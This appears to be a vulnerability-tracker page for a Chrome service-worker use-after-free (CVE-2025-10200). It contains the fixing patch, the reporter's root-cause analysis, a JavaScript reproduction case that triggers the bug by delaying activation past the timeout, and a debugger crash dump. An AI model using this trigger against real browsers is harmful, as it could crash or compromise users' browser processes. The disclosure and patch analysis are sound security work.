Chrome · Serviceworker
CVE-2025-10200
UAF in Serviceworker
Overview
Critical
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Changed Functions
| Function | Change | Notes |
|---|---|---|
forcontent/browser/service_worker/service_worker_version.cc |
modified | |
switchcontent/browser/service_worker/service_worker_version.cc |
modified |
Files Changed
content/browser/service_worker/service_worker_version.cc
Patch
From 7a2821580c0fd65387c70d432017e31881a90c51 Mon Sep 17 00:00:00 2001
From: Yoshisato Yanagisawa <yyanagisawa@chromium.org>
Date: Tue, 26 Aug 2025 18:06:45 -0700
Subject: [PATCH] Fix race condition in ServiceWorkerVersion::OnTimeoutTimer
A race condition between handling request timeouts and starting new
requests could lead to memory corruption issues, such as the
use-after-free reported in the initial security bug. Specifically, if an
error callback for a timed-out request triggers a new fetch request,
the timeout info for the new request could be freed while the request is
still in flight.
This change fixes the race by making the timeout handling logic in
OnTimeoutTimer re-entrant. It now iterates through the pending
requests, moves the timed-out ones to a separate list, and then
iterates over that new list to call the callbacks. This
ensures that the main request list is not modified while it's being
iterated over.
Additionally, this change fixes a DCHECK failure by ensuring that the
inflight_requests_ map is updated before calling the error callback in
MaybeTimeoutRequest. This prevents a scenario where the callback could
trigger another request to finish, leading to an inconsistent state
between the request_timeouts_ and inflight_requests_ maps.
Bug: 440454442, 40864997
Change-Id: Ie3b4a2c1d0f9e8d7c6b5a4f3e2d1c0b9a8d7e6f5
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/6875344
Reviewed-by: Shunya Shishido <sisidovski@chromium.org>
Reviewed-by: Keita Suzuki <suzukikeita@chromium.org>
Commit-Queue: Yoshisato Yanagisawa <yyanagisawa@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1506873}
---
diff --git a/content/browser/service_worker/service_worker_version.cc b/content/browser/service_worker/service_worker_version.cc
index 6c6c2e57..058d68e 100644
--- a/content/browser/service_worker/service_worker_version.cc
+++ b/content/browser/service_worker/service_worker_version.cc
@@ -2584,20 +2584,23 @@
return;
}
- // Are there requests that have not finished before their expiration.
- bool has_kill_on_timeout = false;
- bool has_continue_on_timeout = false;
- // In case, `request_timeouts_` can be modified in the callbacks initiated
- // in `MaybeTimeoutRequest`, we keep its contents locally during the
- // following while loop.
- std::set<InflightRequestTimeoutInfo> request_timeouts;
- request_timeouts.swap(request_timeouts_);
- auto timeout_iter = request_timeouts.begin();
- while (timeout_iter != request_timeouts.end()) {
- const InflightRequestTimeoutInfo& info = *timeout_iter;
- if (!RequestExpired(info.expiration_time)) {
+ // 1. Identify timed-out requests and extract their info. This is done in a
+ // separate loop to avoid race conditions where a timeout callback adds a new
+ // request that could be immediately timed out.
+ std::vector<InflightRequestTimeoutInfo> timed_out_infos;
+ auto it = request_timeouts_.begin();
+ while (it != request_timeouts_.end()) {
+ if (!RequestExpired(it->expiration_time)) {
break;
}
+ timed_out_infos.push_back(*it);
+ it = request_timeouts_.erase(it);
+ }
+
+ // 2. Run the error callbacks for the timed-out requests.
+ bool has_kill_on_timeout = false;
+ bool has_continue_on_timeout = false;
+ for (const auto& info : timed_out_infos) {
if (MaybeTimeoutRequest(info)) {
switch (info.timeout_behavior) {
case KILL_ON_TIMEOUT:
@@ -2608,14 +2611,12 @@
break;
}
}
- timeout_iter = request_timeouts.erase(timeout_iter);
}
- // Ensure the `request_timeouts_` won't be touched during the loop.
- DCHECK(request_timeouts_.empty());
- request_timeouts_.swap(request_timeouts);
- // TODO(crbug.com/40864997): remove the following DCHECK when the cause
- // identified.
- DCHECK_EQ(request_timeouts_.size(), inflight_requests_.size());
+
+ // TODO(crbug.com/40864997): This was promoted from a DCHECK to validate
+ // the fix for this bug. If no crashes are observed by the next release
+ // cycle, this CHECK and other related DCHECKs in this file can be removed.
+ CHECK_EQ(request_timeouts_.size(), inflight_requests_.size());
if (has_kill_on_timeout &&
running_status() != blink::EmbeddedWorkerStatus::kStopping) {
@@ -2722,9 +2723,18 @@
// ServiceWorkerVersion::Request
TRACE_EVENT_END("ServiceWorker", perfetto::Track::FromPointer(request),
"Error", "Timeout");
- std::move(request->error_callback)
- .Run(blink::ServiceWorkerStatusCode::kErrorTimeout);
+
+ // Move the callback to a local variable before removing the request from the
+ // map, as the request object will be destroyed.
+ auto error_callback = std::move(request->error_callback);
+
+ // Remove the request from inflight_requests_ *before* running the callback.
+ // This restores the invariant that request_timeouts_ and inflight_requests_
+ // have the same size, preventing a DCHECK failure if the callback
+ // synchronously finishes another request.
inflight_requests_.Remove(info.id);
+
+ std::move(error_callback).Run(blink::ServiceWorkerStatusCode::kErrorTimeout);
return true;
}
Loading diff…
Original Bug Report
reported by lo...@gmail.com
Use After Free in ServiceWorkerVersion::FinishRequestWithFetchCount() in browser process.
VULNERABILITY DETAILS
Specifically crafted web page can trigger Use After Free of InflightRequestTimeoutInfo object in ServiceWorkerVersion::FinishRequestWithFetchCount(). This bug may potentially be exploited to achieve one click Remote Code Execution in browser process (outside sandbox).
ServiceWorkerVersion connects the actual script with a running service worker. ServiceWorkerVersion Handles requests of different types e.g. install, activate, fetch etc.
These requests usually take some time and need to be processed asynchronously, so its member inflight_requests_ holds in-flight requests:
base::IDMap<std::unique_ptr<InflightRequest>> inflight_requests_;
Since these requests are subjected to expiry, ServiceWorkerVersion also has member request_timeouts_ which is a set of InflightRequestTimeoutInfo to track the timeout information:
std::set<InflightRequestTimeoutInfo> request_timeouts_;
When a request is started, a new InflightRequest object is created in ServiceWorkerVersion::StartRequestWithCustomTimeout() and added to container inflight_requests_. An InflightRequestTimeoutInfo object is also created and added to container request_timeouts_. InflightRequest has one member "timeout_iter" that refers to the corresponding iterator in request_timeouts_.
int ServiceWorkerVersion::StartRequestWithCustomTimeout()
{
...
auto request = std::make_unique<InflightRequest>(std::move(error_callback), clock_->Now(), tick_clock_->NowTicks(),event_type);
InflightRequest* request_rawptr = request.get();
int request_id = inflight_requests_.Add(std::move(request));
...
auto [iter, is_inserted] = request_timeouts_.emplace(
request_id, event_type, expiration_time, timeout_behavior);
...
request_rawptr->timeout_iter = iter;
...
}
When the request is finished, the InflightRequest object is retrieved via request_id. The aforementioned "timeout_iter" member of InflightRequest is used to locate the InflightRequestTimeoutInfo inside request_timeouts_. The corresponding objects in request_timeouts_ and inflight_requests_ are removed respectively.
bool ServiceWorkerVersion::FinishRequestWithFetchCount() {
InflightRequest* request = inflight_requests_.Lookup(request_id);
...
request_timeouts_.erase(request->timeout_iter);
inflight_requests_.Remove(request_id);
...
}
Besides, ServiceWorkerVersion periodically checks "request_timeouts_" for entries that should time out in ServiceWorkerVersion::OnTimeoutTimer() which executes every 30 seconds (kTimeoutTimerDelay = base::Seconds(30)):
void ServiceWorkerVersion::OnTimeoutTimer() {
...
std::set<InflightRequestTimeoutInfo> request_timeouts;
request_timeouts.swap(request_timeouts_);
auto timeout_iter = request_timeouts.begin();
while (timeout_iter != request_timeouts.end()) {
const InflightRequestTimeoutInfo& info = *timeout_iter;
if (!RequestExpired(info.expiration_time)) {
break;
}
if (MaybeTimeoutRequest(info)) {
...
}
}
timeout_iter = request_timeouts.erase(timeout_iter);
}
...
request_timeouts_.swap(request_timeouts);
...
}
If the request is expired, "error_callback" of the request is executed (in MaybeTimeoutRequest()). The InflightRequestTimeoutInfo entry is removed from request_timeouts_ in OnTimeoutTimer(), while the InflightRequest entry is removed from inflight_requests_ in MaybeTimeoutRequest().
bool ServiceWorkerVersion::MaybeTimeoutRequest(
const InflightRequestTimeoutInfo& info) {
InflightRequest* request = inflight_requests_.Lookup(info.id);
...
std::move(request->error_callback)
.Run(blink::ServiceWorkerStatusCode::kErrorTimeout);
inflight_requests_.Remove(info.id);
return true;
}
There is a problem with the swap operation against request_timeouts_ and the MaybeTimeoutRequest() method.
What if a new request object is added to "request_timeouts_" during these operations? Turns out it's possible.
In the window code of the PoC, location.reload() is called after a service worker is registered with scope "/", the fetch request would be intercepted and served by the service worker which has a fetch event listener.
navigator.serviceWorker.register("/svcworker0.js", {scope: "/"});
setTimeout(function(){location.reload()},1000);
In the service worker js code of the PoC, waitUntil() is used to delay the activation process of the service worker for 332000ms ( > 5 minutes).
const p1 = new Promise((resolve, reject) => {
setTimeout(() => {
resolve("foo");
}, 332000);
});
this.onactivate = function (e) {
e.waitUntil(p1);
};
So the activation request would expire (kRequestTimeout = 5 minutes) before the activate handler returns. The timeout value of 332000ms is picked to be > kRequestTimeout + kTimeoutTimerDelay = 5 minutes + 30s = 3300000ms, so ServiceWorkerVersion::OnTimeoutTimer() is definitely called after the activate request expires but before the activate handler returns.
Therefore, the "error_callback" (which is "ServiceWorkerRegistration::OnActivateEventFinished())of the request is executed from aybeTimeoutRequest(). This ultimately leads to the creation of a new InflightRequestTimeoutInfo object for the fetch operation:
ServiceWorkerVersion::MaybeTimeoutRequest()
ServiceWorkerRegistration::OnActivateEventFinished()
ServiceWorkerVersion::SetStatus()
ServiceWorkerControlleeRequestHandler::ContinueWithActivatedVersion()
ServiceWorkerControlleeRequestHandler::CreateLoaderAndStartRequest()
NavigationURLLoaderImpl::MaybeStartLoader()
NavigationURLLoaderImpl::StartInterceptedRequest()
NavigationURLLoaderImpl::CreateThrottlingLoaderAndStart()
ThrottlingURLLoader::CreateLoaderAndStart()
ThrottlingURLLoader::Start()
ThrottlingURLLoader::StartNow()
URLLoaderFactory::CreateLoaderAndStart()
SingleRequestURLLoaderFactory::CreateLoaderAndStart()
SingleRequestURLLoaderFactory::HandlerState::CreateLoaderAndStart()
ServiceWorkerMainResourceLoader::StartRequest()
ServiceWorkerFetchDispatcher::StartWorker()
ServiceWorkerFetchDispatcher::DispatchFetchEvent()
ServiceWorkerVersion::StartRequest(()
ServiceWorkerVersion::StartRequestWithCustomTimeout()
As described above, a new InflightRequest object for the fetch operation is created in ServiceWorkerVersion::StartRequestWithCustomTimeout() and added to container inflight_requests_. An InflightRequestTimeoutInfo object is also created and added to container request_timeouts_.
However, because the swap operation ("request_timeouts.swap(request_timeouts_)") in ServiceWorkerVersion::OnTimeoutTimer(), the new InflightRequestTimeoutInfo object is in member variable request_timeouts_, but is NOT in the local variable request_timeouts. After the timeout checkings and callback executions and the second swap call ("request_timeouts_.swap(request_timeouts)"), the new InflightRequestTimeoutInfo object is in the local variable request_timeouts, but NOT in the member variable request_timeouts_. on the exit of function ServiceWorkerVersion::OnTimeoutTimer(), as the local variable goes out of scope, the new InflightRequestTimeoutInfo object is unexpectedly freed.
At this point, there is inconsistency between request_timeouts_ and inflight_requests_. The new InflightRequest object is still in inflight_requests_, but there is NO corresponding InflightRequestTimeoutInfo object in container request_timeouts_.
When the fetch handler JS code finally returns, ServiceWorkerVersion::FinishRequestWithFetchCount() gets executed. The operations based on the stale "request->timeout_iter" pointer is Use After Free (and/or double free).
I believe this bug probably affects all OSs across all release channels. Crash state on MacOS (UAF_FinishRequestWithFetchCount_crashState_Mac.txt) and ASAN report (UAF_FinishRequestWithFetchCount_ASAN.txt) are also collected and attached here for your reference.
VERSION Google Chrome 141.0.7354.4 (Official Build) dev (64-bit) (cohort: Control) Revision b3cc3de50fcf9008fcd6ef93a660b1aa16c7933d-refs/branch-heads/7354@{#5} OS Windows 11 Version 24H2 (Build 26100.4946) JavaScript V8 14.1.56
BISECT Commit that introduced the bug : https://source.chromium.org/chromium/chromium/src/+/5926fa916d9ad53c77e31ee757e1979275d7466c (Committed on 2022-07-13 11:21 AM)
REPRODUCTION CASE (whole server code in UAF_FinishRequestWithFetchCount_PoC.js)
window code:
<script>
navigator.serviceWorker.register("/svcworker0.js", {scope: "/"});
setTimeout(function(){location.reload()},1000);
</script>
Service worker code (svcworker0.js):
const p1 = new Promise((resolve, reject) => {
setTimeout(() => {
resolve("foo");
}, 332000);
});
this.onactivate = function (e) {
e.waitUntil(p1);
};
this.onfetch = function (e) {
e.waitUntil(new Promise(resolve => setTimeout(resolve, 1)));
};
Steps to reproduce:
- Run the PoC with NodeJS: node UAF_FinishRequestWithFetchCount_PoC.js
- Enter http://localhost:12345/ from the chrome browser
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION Type of crash: browser Crash State:
(30a0.af88): Access violation - code c0000005 (!!! second chance !!!)
chrome!std::__Cr::__tree_min+0x3 [inlined in chrome!std::__Cr::__tree<std::__Cr::__value_type<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > >,std::__Cr::__map_value_compare<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::pair<const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > >,std::__Cr::less<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> > >,1>,std::__Cr::allocator<std::__Cr::pair<const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > > > >::__remove_node_pointer+0x47]:
00007ff8`b2abd637 488b12 mov rdx,qword ptr [rdx] ds:54415541`56415741=????????????????
0:000> r
rax=5441554156415741 rbx=0000000000000003 rcx=00002f2c02118150
rdx=5441554156415741 rsi=00000074515fd338 rdi=00002f2c044ff430
rip=00007ff8b2abd637 rsp=00000074515fd2c0 rbp=000000000838b500
r8=00002f2c04518680 r9=0000000000000001 r10=000000000002bf20
r11=0000000000000032 r12=0000000000000000 r13=00000074515fd458
r14=00002f2c021180f8 r15=00002f2c04518680
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010204
chrome!std::__Cr::__tree_min+0x3 [inlined in chrome!std::__Cr::__tree<std::__Cr::__value_type<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > >,std::__Cr::__map_value_compare<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::pair<const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > >,std::__Cr::less<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> > >,1>,std::__Cr::allocator<std::__Cr::pair<const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > > > >::__remove_node_pointer+0x47]:
00007ff8`b2abd637 488b12 mov rdx,qword ptr [rdx] ds:54415541`56415741=????????????????
0:000> dv
__x = 0x54415541`56415741
0:000> dx -id 0,0 -r1 ((chrome!std::__Cr::__tree_node_base<void *> *)0x5441554156415741)
((chrome!std::__Cr::__tree_node_base<void *> *)0x5441554156415741) : 0x5441554156415741 [Type: std::__Cr::__tree_node_base<void *> *]
[+0x000] __left_ : Unable to read memory at Address 0x5441554156415741
[+0x008] __right_ : Unable to read memory at Address 0x5441554156415749
[+0x010] __parent_ : Unable to read memory at Address 0x5441554156415751
[+0x018] __is_black_ : Unable to read memory at Address 0x5441554156415759
0:000> k
# Child-SP RetAddr Call Site
00 (Inline Function) --------`-------- chrome!std::__Cr::__tree_min+0x3 [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__tree @ 163]
01 (Inline Function) --------`-------- chrome!std::__Cr::__tree_next_iter+0x3f [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__tree @ 192]
02 (Inline Function) --------`-------- chrome!std::__Cr::__tree_iterator<std::__Cr::__value_type<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > >,std::__Cr::__tree_node<std::__Cr::__value_type<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > >,void *> *,long long>::operator+++0x3f [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__tree @ 655]
03 00000074`515fd2c0 00007ff8`b2be393f chrome!std::__Cr::__tree<std::__Cr::__value_type<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > >,std::__Cr::__map_value_compare<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::pair<const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > >,std::__Cr::less<std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> > >,1>,std::__Cr::allocator<std::__Cr::pair<const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char> >,std::__Cr::vector<media::ChunkDemuxerStream *,std::__Cr::allocator<media::ChunkDemuxerStream *> > > > >::__remove_node_pointer+0x47 [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__tree @ 1807]
04 (Inline Function) --------`-------- chrome!std::__Cr::__tree<content::ServiceWorkerVersion::InflightRequestTimeoutInfo,std::__Cr::less<content::ServiceWorkerVersion::InflightRequestTimeoutInfo>,std::__Cr::allocator<content::ServiceWorkerVersion::InflightRequestTimeoutInfo> >::erase+0x8 [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__tree @ 1937]
05 (Inline Function) --------`-------- chrome!std::__Cr::set<content::ServiceWorkerVersion::InflightRequestTimeoutInfo,std::__Cr::less<content::ServiceWorkerVersion::InflightRequestTimeoutInfo>,std::__Cr::allocator<content::ServiceWorkerVersion::InflightRequestTimeoutInfo> >::erase+0x8 [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\set @ 772]
06 00000074`515fd2f0 00007ff8`b48aefe5 chrome!content::ServiceWorkerVersion::FinishRequestWithFetchCount+0xbf [C:\b\s\w\ir\cache\builder\src\content\browser\service_worker\service_worker_version.cc @ 852]
07 00000074`515fd3a0 00007ff8`b48aeeb7 chrome!content::ServiceWorkerFetchDispatcher::ResponseCallback::HandleResponse+0x55 [C:\b\s\w\ir\cache\builder\src\content\browser\service_worker\service_worker_fetch_dispatcher.cc @ 388]
08 00000074`515fd420 00007ff8`afd081d2 chrome!content::ServiceWorkerFetchDispatcher::ResponseCallback::OnFallback+0xa7 [C:\b\s\w\ir\cache\builder\src\content\browser\service_worker\service_worker_fetch_dispatcher.cc @ 375]
09 00000074`515fd4d0 00007ff8`b1f95b42 chrome!blink::mojom::ServiceWorkerFetchResponseCallbackStubDispatch::Accept+0x2e2 [C:\b\s\w\ir\cache\builder\src\out\ff92-win64-clang\gen\third_party\blink\public\mojom\service_worker\service_worker_fetch_response_callback.mojom.cc @ 536]
0a (Inline Function) --------`-------- chrome!mojo::InterfaceEndpointClient::HandleValidatedMessage+0x14a [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\interface_endpoint_client.cc @ 1059]
0b 00000074`515fd5c0 00007ff8`b185d79b chrome!mojo::InterfaceEndpointClient::HandleIncomingMessageThunk::Accept+0x172 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\interface_endpoint_client.cc @ 377]
0c (Inline Function) --------`-------- chrome!mojo::MessageDispatcher::Accept+0x3ad [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\message_dispatcher.cc @ 43]
0d (Inline Function) --------`-------- chrome!mojo::InterfaceEndpointClient::HandleIncomingMessage+0x475 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\interface_endpoint_client.cc @ 731]
0e (Inline Function) --------`-------- chrome!mojo::internal::MultiplexRouter::ProcessIncomingMessage+0x71c [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\multiplex_router.cc @ 1147]
0f 00000074`515fd680 00007ff8`b222507e chrome!mojo::internal::MultiplexRouter::Accept+0x9eb [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\multiplex_router.cc @ 759]
10 00000074`515fda80 00007ff8`b039cbb6 chrome!mojo::MessageDispatcher::Accept+0x38e [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\message_dispatcher.cc @ 43]
11 (Inline Function) --------`-------- chrome!mojo::Connector::DispatchMessageW+0x205 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc @ 560]
12 (Inline Function) --------`-------- chrome!mojo::Connector::ReadAllAvailableMessages+0x2e2 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc @ 619]
13 (Inline Function) --------`-------- chrome!mojo::Connector::OnHandleReadyInternal+0x2ea [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc @ 450]
14 (Inline Function) --------`-------- chrome!mojo::Connector::OnWatcherHandleReady+0x2f7 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc @ 416]
15 (Inline Function) --------`-------- chrome!base::internal::DecayedFunctorTraits<void (Connector::*)(const char *, unsigned int),mojo::Connector *,const char *const &>::Invoke+0x307 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 731]
16 (Inline Function) --------`-------- chrome!base::internal::InvokeHelper<0,base::internal::FunctorTraits<void (Connector::*const &)(const char *, unsigned int),mojo::Connector *,const char *const &>,void,0,1>::MakeItSo+0x31c [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 923]
17 (Inline Function) --------`-------- chrome!base::internal::Invoker<base::internal::FunctorTraits<void (Connector::*const &)(const char *, unsigned int),mojo::Connector *,const char *const &>,base::internal::BindState<1,1,0,void (Connector::*)(const char *, unsigned int),base::internal::UnretainedWrapper<mojo::Connector,base::unretained_traits::MayNotDangle,0>,base::internal::UnretainedWrapper<const char,base::unretained_traits::MayNotDangle,0> >,void (unsigned int)>::RunImpl+0x31c [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 1060]
18 00000074`515fdb60 00007ff8`b0f61daf chrome!base::internal::Invoker<base::internal::FunctorTraits<void (Connector::*const &)(const char *, unsigned int),mojo::Connector *,const char *const &>,base::internal::BindState<1,1,0,void (Connector::*)(const char *, unsigned int),base::internal::UnretainedWrapper<mojo::Connector,base::unretained_traits::MayNotDangle,0>,base::internal::UnretainedWrapper<const char,base::unretained_traits::MayNotDangle,0> >,void (unsigned int)>::Run+0x356 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 980]
19 (Inline Function) --------`-------- chrome!base::RepeatingCallback<void (unsigned int)>::Run+0x3b [C:\b\s\w\ir\cache\builder\src\base\functional\callback.h @ 344]
1a (Inline Function) --------`-------- chrome!mojo::SimpleWatcher::DiscardReadyState+0x3b [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\system\simple_watcher.h @ 192]
1b (Inline Function) --------`-------- chrome!base::internal::DecayedFunctorTraits<void (*)(const base::RepeatingCallback<void (unsigned int)> &, unsigned int, const mojo::HandleSignalsState &),const base::RepeatingCallback<void (unsigned int)> &>::Invoke+0x50 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 664]
1c (Inline Function) --------`-------- chrome!base::internal::InvokeHelper<0,base::internal::FunctorTraits<void (*const &)(const base::RepeatingCallback<void (unsigned int)> &, unsigned int, const mojo::HandleSignalsState &),const base::RepeatingCallback<void (unsigned int)> &>,void,0>::MakeItSo+0x50 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 923]
1d (Inline Function) --------`-------- chrome!base::internal::Invoker<base::internal::FunctorTraits<void (*const &)(const base::RepeatingCallback<void (unsigned int)> &, unsigned int, const mojo::HandleSignalsState &),const base::RepeatingCallback<void (unsigned int)> &>,base::internal::BindState<0,1,0,void (*)(const base::RepeatingCallback<void (unsigned int)> &, unsigned int, const mojo::HandleSignalsState &),base::RepeatingCallback<void (unsigned int)> >,void (unsigned int, const mojo::HandleSignalsState &)>::RunImpl+0x50 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 1060]
1e (Inline Function) --------`-------- chrome!base::internal::Invoker<base::internal::FunctorTraits<void (*const &)(const base::RepeatingCallback<void (unsigned int)> &, unsigned int, const mojo::HandleSignalsState &),const base::RepeatingCallback<void (unsigned int)> &>,base::internal::BindState<0,1,0,void (*)(const base::RepeatingCallback<void (unsigned int)> &, unsigned int, const mojo::HandleSignalsState &),base::RepeatingCallback<void (unsigned int)> >,void (unsigned int, const mojo::HandleSignalsState &)>::Run+0x55 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 980]
1f (Inline Function) --------`-------- chrome!base::RepeatingCallback<void (unsigned int, const mojo::HandleSignalsState &)>::Run+0x90 [C:\b\s\w\ir\cache\builder\src\base\functional\callback.h @ 344]
20 (Inline Function) --------`-------- chrome!mojo::SimpleWatcher::OnHandleReady+0x137 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\system\simple_watcher.cc @ 278]
21 (Inline Function) --------`-------- chrome!base::internal::DecayedFunctorTraits<void (SimpleWatcher::*)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher> &&,int &&,unsigned int &&,mojo::HandleSignalsState &&>::Invoke+0x174 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 731]
22 (Inline Function) --------`-------- chrome!base::internal::InvokeHelper<1,base::internal::FunctorTraits<void (SimpleWatcher::*&&)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher> &&,int &&,unsigned int &&,mojo::HandleSignalsState &&>,void,0,1,2,3>::MakeItSo+0x198 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 947]
23 (Inline Function) --------`-------- chrome!base::internal::Invoker<base::internal::FunctorTraits<void (SimpleWatcher::*&&)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher> &&,int &&,unsigned int &&,mojo::HandleSignalsState &&>,base::internal::BindState<1,1,0,void (SimpleWatcher::*)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher>,int,unsigned int,mojo::HandleSignalsState>,void ()>::RunImpl+0x198 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 1060]
24 (Inline Function) --------`-------- chrome!base::internal::Invoker<base::internal::FunctorTraits<void (SimpleWatcher::*&&)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher> &&,int &&,unsigned int &&,mojo::HandleSignalsState &&>,base::internal::BindState<1,1,0,void (SimpleWatcher::*)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher>,int,unsigned int,mojo::HandleSignalsState>,void ()>::RunOnce+0x198 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 973]
25 (Inline Function) --------`-------- chrome!base::OnceCallback<void ()>::Run+0x502 [C:\b\s\w\ir\cache\builder\src\base\functional\callback.h @ 156]
26 (Inline Function) --------`-------- chrome!base::TaskAnnotator::RunTaskImpl+0x5f2 [C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.cc @ 207]
27 (Inline Function) --------`-------- chrome!base::TaskAnnotator::RunTask+0x652 [C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.h @ 104]
28 (Inline Function) --------`-------- chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl+0xcfc [C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 473]
29 00000074`515fdd20 00007ff8`b0fda20d chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork+0xd8f [C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 347]
2a 00000074`515fe530 00007ff8`adb2b6ac chrome!base::MessagePumpForUI::DoRunLoop+0x7d [C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_win.cc @ 264]
2b 00000074`515fe630 00007ff8`b2233112 chrome!base::MessagePumpWin::Run+0xac [C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_win.cc @ 88]
2c 00000074`515fe6a0 00007ff8`ae3d40c6 chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run+0xf2 [C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 651]
2d 00000074`515fe730 00007ff8`ae528466 chrome!base::RunLoop::Run+0x1c6 [C:\b\s\w\ir\cache\builder\src\base\run_loop.cc @ 136]
2e 00000074`515fe840 00007ff8`ae528135 chrome!content::BrowserMainLoop::RunMainMessageLoop+0xc6 [C:\b\s\w\ir\cache\builder\src\content\browser\browser_main_loop.cc @ 1111]
2f (Inline Function) --------`-------- chrome!content::BrowserMainRunnerImpl::Run+0xf [C:\b\s\w\ir\cache\builder\src\content\browser\browser_main_runner_impl.cc @ 156]
30 00000074`515fe8b0 00007ff8`ae526ccf chrome!content::BrowserMain+0x125 [C:\b\s\w\ir\cache\builder\src\content\browser\browser_main.cc @ 32]
